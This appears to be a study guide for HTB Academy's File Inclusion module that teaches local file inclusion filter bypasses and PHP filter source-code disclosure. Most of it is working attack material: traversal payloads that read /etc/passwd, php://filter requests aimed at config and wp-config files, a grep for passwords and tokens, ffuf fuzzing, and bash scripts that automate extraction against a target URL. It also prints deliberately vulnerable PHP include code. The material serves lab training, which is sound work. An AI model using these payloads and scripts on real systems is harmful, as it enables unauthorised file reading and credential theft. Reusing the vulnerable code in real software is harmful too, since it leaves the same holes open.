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Advanced LFI Bypasses & PHP Filters - HTB Academy Guide

Basic LFI Filter Bypasses

Many applications implement basic protections against LFI attacks. Understanding these bypasses is crucial for successful exploitation.

1. Non-Recursive Path Traversal Filters

Vulnerable Code:

<?php
$file = str_replace("../", "", $_GET['file']);
include($file);
?>

Bypass Technique:

# Non-recursive replacement allows double encoding
....//....//....//etc/passwd

# The filter removes first "../" leaving second "../" intact
# Original: ....//....//....//etc/passwd
# After filtering: ../../../etc/passwd

HTB Academy Example:

# Test payload
http://target.com/index.php?language=....//....//....//....//etc/passwd

# Alternative patterns
....\/....\/....\/etc/passwd
..../..../..../etc/passwd

2. URL Encoding Bypasses

Single URL Encoding:

# Basic path traversal
../../../etc/passwd

# URL encoded version
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Mixed encoding
..%2f..%2f..%2fetc%2fpasswd

Double URL Encoding:

# Double encode the dots and slashes
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# Useful when application decodes input twice

HTB Academy Lab Example:

# Basic bypass test
http://target.com/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Double encoding test  
http://target.com/index.php?language=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

3. Approved Path Bypasses

Vulnerable Code:

<?php
if (strpos($_GET['language'], '../') !== false) {
    die('Hacking attempt detected!');
}
include("./languages/" . $_GET['language'] . ".php");
?>

Bypass Technique:

# Use approved path prefix then traverse out
./languages/../../../../etc/passwd

# The path starts with approved "./languages/" then traverses back

HTB Academy Example:

# Approved path bypass
http://target.com/index.php?language=./languages/../../../../etc/passwd

# Alternative patterns
./languages/../../../etc/passwd
/var/www/html/languages/../../../../etc/passwd

4. Appended Extension Bypasses

Null Byte Injection (PHP < 5.3.4)

Vulnerable Code:

<?php
include($_GET['file'] . ".php");
?>

Bypass Technique:

# Null byte terminates string in C functions
/etc/passwd%00

# Application tries to include: /etc/passwd%00.php
# But null byte stops processing at /etc/passwd

HTB Academy Example:

# Null byte bypass
http://target.com/index.php?language=../../../../etc/passwd%00

# Also try
http://target.com/index.php?language=../../../../etc/passwd%00.txt

Path Truncation (PHP < 5.5)

Concept: Long file paths get truncated by filesystem limits.

# Create very long path to trigger truncation
/etc/passwd/./././././././././[repeat ~2048 characters]

# Path gets truncated before the appended extension

HTB Academy Example:

# Generate long path for truncation
python3 -c "print('../../../../etc/passwd' + '/.' * 1000)"

# Use in URL
http://target.com/index.php?language=[LONG_PATH]

PHP Filters & Source Code Disclosure

PHP filters allow reading file contents in different formats, enabling source code disclosure even when files are executed rather than displayed.

1. Basic PHP Filter Usage

Filter Syntax:

php://filter/convert.base64-encode/resource=filename

Common Filters:

# Base64 encoding (most common)
php://filter/convert.base64-encode/resource=index.php

# ROT13 encoding
php://filter/string.rot13/resource=index.php

# String conversion
php://filter/string.toupper/resource=index.php
php://filter/string.tolower/resource=index.php

2. Source Code Disclosure Techniques

Reading PHP Source Code:

# Instead of executing PHP, read its source
http://target.com/index.php?file=php://filter/convert.base64-encode/resource=index.php

# Expected output: Base64 encoded PHP source code

Decoding Process:

# Save base64 output
curl -s "http://target.com/lfi.php?file=php://filter/convert.base64-encode/resource=config.php" > encoded.txt

# Decode base64
cat encoded.txt | base64 -d > config.php

# View decoded source
cat config.php

3. HTB Academy PHP Filter Lab

Target Configuration:

  • Lab URL: Various HTB Academy instances
  • Objective: Read PHP source code using filters

Step-by-Step Solution:

# Step 1: Identify vulnerable parameter
http://target.com/index.php?language=en

# Step 2: Test basic LFI
http://target.com/index.php?language=../../../../etc/passwd

# Step 3: Use PHP filter to read source code
http://target.com/index.php?language=php://filter/convert.base64-encode/resource=index

# Step 4: Decode base64 output
echo 'BASE64_OUTPUT_HERE' | base64 -d

# Step 5: Analyze source code for credentials/secrets
grep -i "password\|secret\|key\|token" decoded_source.php

Common Files to Target:

# Configuration files
php://filter/convert.base64-encode/resource=config.php
php://filter/convert.base64-encode/resource=database.php
php://filter/convert.base64-encode/resource=wp-config.php

# Application files
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=admin.php
php://filter/convert.base64-encode/resource=login.php

# Include files
php://filter/convert.base64-encode/resource=functions.php
php://filter/convert.base64-encode/resource=includes/config.inc.php

4. Advanced PHP Filter Techniques

Filter Chaining:

# Chain multiple filters
php://filter/string.rot13|convert.base64-encode/resource=index.php

# Multiple conversions
php://filter/convert.iconv.utf8.utf16/convert.base64-encode/resource=index.php

Fuzzing for PHP Files:

# Common PHP file names to test
admin.php
config.php
database.php
db.php
settings.php
functions.php
includes.php
header.php
footer.php
login.php
logout.php
register.php
profile.php

Automated PHP File Discovery:

# Using ffuf for PHP file fuzzing
ffuf -w php_files.txt:FUZZ \
     -u "http://target.com/index.php?file=php://filter/convert.base64-encode/resource=FUZZ" \
     -mc 200 \
     -fs 0

# Using curl with wordlist
for file in $(cat php_files.txt); do
    echo "Testing: $file"
    curl -s "http://target.com/lfi.php?file=php://filter/convert.base64-encode/resource=$file" | head -3
done

Filter Bypass Troubleshooting

Problem: PHP filters not working

# Issue: Application doesn't support PHP filters
# Check 1: Verify PHP filter support
http://target.com/lfi.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

# Check 2: Try different filter types
php://filter/string.rot13/resource=index.php
php://filter/string.toupper/resource=index.php

# Check 3: Try without encoding
php://filter/resource=index.php

Problem: Base64 output truncated

# Issue: Long base64 output gets cut off
# Check 1: Use different output capture methods
curl -s "URL" | tee full_output.txt

# Check 2: Try smaller files first
php://filter/convert.base64-encode/resource=.htaccess

# Check 3: Check for content length limits
curl -s -I "URL" | grep -i content-length

Problem: Encoding/decoding errors

# Issue: Base64 decode fails
# Check 1: Clean base64 output
grep -o '[A-Za-z0-9+/=]*' output.txt | tr -d '\n' | base64 -d

# Check 2: Try different decoders
echo 'BASE64_DATA' | python3 -c "import sys,base64; print(base64.b64decode(sys.stdin.read()).decode())"

# Check 3: Check for HTML entity encoding
sed 's/&gt;/>/g; s/&lt;/</g; s/&amp;/\&/g' output.txt | base64 -d

Problem: Non-recursive bypass not working

# Issue: ....// pattern still filtered
# Check 1: Try different patterns
....\/....\/etc/passwd
..././..././etc/passwd
....\\....\\etc/passwd

# Check 2: Test various encodings
%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f
%252e%252e%252e%252e%252f%252f

# Check 3: Try mixing techniques
....//....//....//..%2fetc%2fpasswd

Tools and Resources

PHP Filter Tools

# Manual base64 encoding/decoding
echo "Hello World" | base64
echo "SGVsbG8gV29ybGQ=" | base64 -d

# Automated PHP source extraction
cat << 'EOF' > extract_php_source.sh
#!/bin/bash
URL=$1
FILE=$2
if [ -z "$URL" ] || [ -z "$FILE" ]; then
    echo "Usage: $0 <base_url> <php_file>"
    exit 1
fi

echo "[+] Extracting source for: $FILE"
curl -s "${URL}?file=php://filter/convert.base64-encode/resource=${FILE}" | \
grep -o '[A-Za-z0-9+/=]*' | tr -d '\n' | base64 -d > "${FILE}.extracted"

echo "[+] Source saved to: ${FILE}.extracted"
EOF
chmod +x extract_php_source.sh

Bypass Testing Scripts

# Non-recursive bypass tester
cat << 'EOF' > test_nonrecursive.sh
#!/bin/bash
TARGET=$1
if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target_url>"
    exit 1
fi

echo "[+] Testing non-recursive bypasses..."
patterns=(
    "....//....//....//etc/passwd"
    "....\/....\/....\/etc/passwd"
    "..../..../..../etc/passwd"
    "..%2f..%2f..%2fetc%2fpasswd"
)

for pattern in "${patterns[@]}"; do
    echo -n "Testing: $pattern ... "
    result=$(curl -s "${TARGET}${pattern}" | grep -o "root:" | wc -l)
    if [ "$result" -gt 0 ]; then
        echo "SUCCESS"
    else
        echo "FAILED"
    fi
done
EOF
chmod +x test_nonrecursive.sh

URL Encoding Tools

# URL encode helper function
url_encode() {
    echo "$1" | python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"
}

# Double URL encode
double_encode() {
    echo "$1" | python3 -c "import sys, urllib.parse; data=sys.stdin.read().strip(); print(urllib.parse.quote(urllib.parse.quote(data)))"
}

# Usage examples
url_encode "../../../etc/passwd"
double_encode "../../../etc/passwd"

This guide covers advanced LFI bypass techniques and PHP filters from HTB Academy's File Inclusion module, essential for overcoming common LFI protections and achieving source code disclosure.